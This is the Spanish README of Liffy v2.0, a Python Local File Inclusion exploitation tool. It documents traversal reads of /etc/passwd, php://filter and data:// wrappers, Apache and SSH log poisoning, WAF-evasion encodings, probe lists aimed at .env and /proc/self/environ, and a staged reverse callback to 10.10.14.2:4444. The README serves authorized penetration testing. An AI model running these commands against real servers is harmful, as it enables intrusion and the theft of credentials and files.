
Herramienta de explotación de inclusión de archivos locales

Una potente herramienta en Python para la explotación de Local File Inclusion (LFI) con funciones avanzadas que incluyen evasión de WAF, técnicas de codificación y detección integral de vulnerabilidades.
Liffy v2.0 es la versión significativamente mejorada de liffy creado originalmente por rotlogix/liffy. Esta versión incluye funciones modernas como salida de terminal enriquecida (Rich), configuración YAML, mejor manejo de hilos y múltiples técnicas de explotación avanzadas.
⚠️ Muchos de los cambios nuevos fueron generados con vibe coding.
Asegúrate de usar Python 3. Liffy no es compatible con Python 2. Los ejemplos a continuación usan uv run python para que los comandos se ejecuten dentro del entorno del proyecto.
# Instala uv si aún no lo has hecho
curl -LsSf https://astral.sh/uv/install.sh | sh
# Clona el repositorio
git clone https://github.com/mzfr/liffy
cd liffy
# Crea un entorno virtual con uv
uv venv
# Instala las dependencias desde pyproject.toml
uv sync
# Ejecuta liffy
uv run python liffy.py --help
uv run python liffy.py <URL> [OPCIONES]
usage: liffy.py [-h] [-d] [-i] [-e] [-f] [-p] [-a] [-ns] [-r] [--ssh]
[-l LOCATION] [--cookies COOKIES] [-dt] [-t THREADS]
[--detection] [--null-byte] [--zip] [--encoding]
[--waf-bypass] [--method {GET,POST}] [--post-data POST_DATA]
[--headers HEADERS] [--lhost LHOST] [--lport LPORT]
[--read-file READ_FILE] [-y] [--timeout TIMEOUT]
[--proxy PROXY] [--verify-tls] [--user-agent USER_AGENT]
[--oob] [--oob-url OOB_URL] [--blind] [--auto]
[--delay DELAY] [--retries RETRIES] [--json] [--output OUTPUT]
[--quiet] [--no-color] [--no-banner] [--config]
[url]
positional arguments:
url URL a probar para LFI
Core Techniques:
-d, --data Usar técnica data://
-i, --input Usar técnica input://
-e, --expect Usar técnica expect://
-f, --filter Usar técnica filter://
-p, --proc Usar técnica /proc/self/environ
-a, --access Usar técnica de logs de acceso de Apache
--ssh Envenenamiento de log de autenticación SSH
-dt, --directorytraverse Probar Directory Traversal
--null-byte Probar envenenamiento por byte nulo
--zip Probar explotación del envoltorio ZIP
--wrappers, --wrapper Detectar envoltorios comunes de flujo LFI
--wrapper-list WRAPPER_LIST
Ruta a lista personalizada de payloads de sonda de envoltorio
--oob Enviar sondas de callback fuera de banda
--oob-url OOB_URL URL base de callback OOB
--blind Ejecutar comprobaciones LFI ciegas de diferencia de respuesta
--blind-list BLIND_LIST
Ruta a lista personalizada de sondas LFI ciegas
--auto Ejecutar un plan de escaneo automático seguro
Advanced Options:
--encoding Usar técnicas avanzadas de codificación/evasión
--waf-bypass Usar técnicas de evasión de WAF
--method {GET,POST} Método HTTP a usar (por defecto: GET)
--post-data POST_DATA Datos POST (formato: clave=valor&clave2=valor2)
--headers HEADERS Cabeceras personalizadas (formato: Cabecera1:Valor1,Cabecera2:Valor2)
--detection Solo realizar detección de LFI, sin explotación
Request Options:
--timeout TIMEOUT Tiempo de espera de solicitud HTTP en segundos
--proxy PROXY URL de proxy HTTP(S), ej. http://127.0.0.1:8080
--verify-tls Verificar certificados TLS en lugar de usar solicitudes inseguras
--user-agent UA Cabecera User-Agent personalizada
--delay DELAY Retardo entre solicitudes en segundos
--retries RETRIES Reintentos HTTP por solicitud
Automation Options:
--lhost LHOST Host de callback para payloads por etapas
--lport LPORT Puerto de callback para payloads por etapas
--read-file PATH Ruta del archivo a leer con filter://
-y, --yes Usar valores predeterminados para avisos y ejecutar sin interacción
--json Imprimir un resumen de ejecución en JSON
--output OUTPUT Escribir resumen JSON en un archivo
--quiet Suprimir la salida normal de terminal
General Options:
-ns, --nostager Ejecutar payload directamente, no usar stager
-r, --relative Usar secuencias de traversal de ruta para el ataque
-l, --location LOCATION Ruta al archivo objetivo (log de acceso, log de autenticación, etc.)
--cookies COOKIES Cookies de sesión para autenticación
-t, --threads THREADS Número de hilos a usar (por defecto: 5)
--no-color Deshabilitar salida coloreada
--no-banner Deshabilitar visualización del banner
--config Crear archivo de configuración YAML predeterminado
Crea un archivo de configuración para ajustes persistentes:
uv run python liffy.py --config
Esto crea liffy_config.yaml con valores predeterminados:
# Archivo de configuración de Liffy
max_threads: 5
rate_limit_delay: 0.1
disable_colors: false
disable_banner: false
quiet: false
default_method: GET
user_agent_rotation: true
request_timeout: 15
proxy: null
verify_tls: false
retries: 0
Configura disable_banner: true para ocultar el banner/logo de inicio de forma predeterminada. Los indicadores de CLI aún anulan los valores de configuración, por lo que también puedes usar --no-banner, --no-color o --quiet para ejecuciones puntuales.
También puedes usar variables de entorno:
LIFFY_THREADS - Número de hilosLIFFY_RATE_LIMIT - Retardo de limitación de velocidadLIFFY_NO_COLOR - Deshabilitar colores (true/false)Cuando se habilita --waf-bypass, liffy aplica automáticamente múltiples técnicas de evasión:
/**/, #, ;file:///, pHp://./, ../, bytes nulosCon --encoding, liffy aplica métodos de codificación avanzados:
%252e%252e%252f\u002e\u002e\u002f..%2F, ..%2f../# POST con datos de formulario
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --post-data "file=../../etc/passwd"
# POST con cabeceras personalizadas
uv run python liffy.py "http://target.com/lfi.php" -d --method POST --headers "X-Forwarded-For:127.0.0.1,Authorization:Bearer token123"
# Enviar tráfico a través de un proxy local y reintentar fallos transitorios
uv run python liffy.py "http://target.com/lfi.php?file=" -d \
--proxy "http://127.0.0.1:8080" --timeout 20 --retries 2
# Usar un User-Agent fijo y un retardo personalizado entre solicitudes
uv run python liffy.py "http://target.com/lfi.php?file=" --detection -f \
--user-agent "liffy/2.0" --delay 0.5
uv run python liffy.py "http://example.com/page.php?file=" -d
uv run python liffy.py "http://example.com/page.php?file=" -d -i -e -f
uv run python liffy.py "http://example.com/page.php?file=" --detection -d -i -e
uv run python liffy.py "http://example.com/page.php?file=" -d --waf-bypass --encoding
uv run python liffy.py "http://example.com/page.php?file=" -d -t 10 --config
uv run python liffy.py "http://example.com/upload.php" -d --method POST \
--post-data "action=read&file=../../etc/passwd" \
--headers "User-Agent:Mozilla/5.0,X-Forwarded-For:192.168.1.1"
uv run python liffy.py "http://example.com/page.php?file=" -a
uv run python liffy.py "http://example.com/page.php?file=" --ssh
uv run python liffy.py "http://example.com/page.php?file=" -a -l "/var/log/apache2/access.log"
uv run python liffy.py "http://example.com/page.php?file=" -d -r
uv run python liffy.py "http://example.com/page.php?file=" -dt
uv run python liffy.py "http://example.com/page.php?file=" --null-byte
uv run python liffy.py "http://example.com/page.php?file=" --zip
uv run python liffy.py "http://example.com/page.php?file=" --wrappers
La detección de envoltorios utiliza sondas seguras predeterminadas para file://, php://filter, data://, php://temp, php://memory y envoltorios relacionados. zip://, phar:// y glob:// se tratan como informativos/condicionales porque generalmente requieren archivos del lado del objetivo o un comportamiento de sumidero que exponga listados.
Puedes proporcionar una lista personalizada de payloads de envoltorio. Si se omite --wrapper-list, liffy recurre a las sondas integradas:
uv run python liffy.py "http://example.com/page.php?file=" --wrapper \
--wrapper-list payload_wordlists/wrappers.txt
Cada línea no vacía puede ser un payload sin formato o nombre=payload:
php-filter-passwd=php://filter/read=convert.base64-encode/resource=/etc/passwd
file-winini=file:///c:/windows/win.ini
uv run python liffy.py "http://example.com/page.php?file=" --oob \
--oob-url "https://example.oast.site"
Usa esto con un listener de callback HTTP/DNS. Liffy envía payloads de tipo envoltorio URL y tú verificas si el objetivo realiza un callback.
uv run python liffy.py "http://example.com/page.php?file=" --blind
Las comprobaciones ciegas comparan sondas de archivos existentes con líneas base de archivos faltantes aleatorios y reportan diferencias de estado, longitud o tiempo cuando el contenido no se refleja directamente.
Puedes proporcionar una lista personalizada de sondas ciegas. Si se omite --blind-list o está vacía, liffy usa las sondas integradas:
uv run python liffy.py "http://example.com/page.php?file=" --blind \
--blind-list payload_wordlists/blind_lfi.txt
Cada línea no vacía puede ser un payload sin formato o nombre=payload:
linux-passwd=/etc/passwd
proc-environ=/proc/self/environ
laravel-env=.env
uv run python liffy.py "http://example.com/page.php?file=" --auto
--auto habilita solo detección de directory traversal, comprobaciones de envoltorios y comprobaciones ciegas. Si también se proporciona --oob-url, incluye sondas OOB.
uv run python liffy.py "http://example.com/page.php?file=" \
-d -i -e -f -p -a --ssh -dt --null-byte --zip --wrappers --blind \
--encoding --waf-bypass --detection
uv run python liffy.py "http://example.com/page.php?file=" -d \
--cookies "PHPSESSID=abc123; auth_token=xyz789"
uv run python liffy.py "http://example.com/page.php?file=" -d \
--lhost 10.10.14.2 --lport 4444 --yes
uv run python liffy.py "http://example.com/page.php?file=" -f \
--read-file /etc/passwd --yes
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --json
uv run python liffy.py "http://example.com/page.php?file=" --detection -f \
--output findings.json
uv run python liffy.py "http://example.com/page.php?file=" -d --no-color --no-banner
uv run python liffy.py "http://example.com/page.php?file=" --detection -f --quiet --output findings.json
Se utilizan las siguientes ubicaciones predeterminadas cuando no se especifica una ruta personalizada:
/var/log/auth.log/var/log/apache2/access.log/var/log/httpd/access_log¡Agradecemos las contribuciones! Así es como puedes ayudar:
¡No dudes en abrir un issue para cualquier pregunta o sugerencia!
El modo de detección de Liffy proporciona un análisis completo de vulnerabilidades:
/etc/passwd[+] RESUMEN DE VULNERABILIDADES
==================================================
[1] Vulnerabilidad encontrada
Payload: ../../etc/passwd
Confianza: 85%
Evidencia: Archivo /etc/passwd de Linux: root:
Código de estado: 200
Longitud del contenido: 1547
# Usa técnicas de evasión de WAF
uv run python liffy.py "http://target.com/lfi.php" -d --waf-bypass
# Reduce el número de hilos y aumenta los retardos
uv run python liffy.py "http://target.com/lfi.php" -d -t 1
# Aumenta el retardo en el archivo de configuración
max_threads: 2
rate_limit_delay: 1.0
Para obtener una salida detallada, puedes modificar la configuración:
debug_mode: true
verbose_output: true
Liffy está diseñado únicamente para pruebas de seguridad autorizadas.
Los autores no se hacen responsables del mal uso de esta herramienta.
Este proyecto está licenciado bajo la GNU General Public License v3.0 - consulta el archivo LICENSE para más detalles.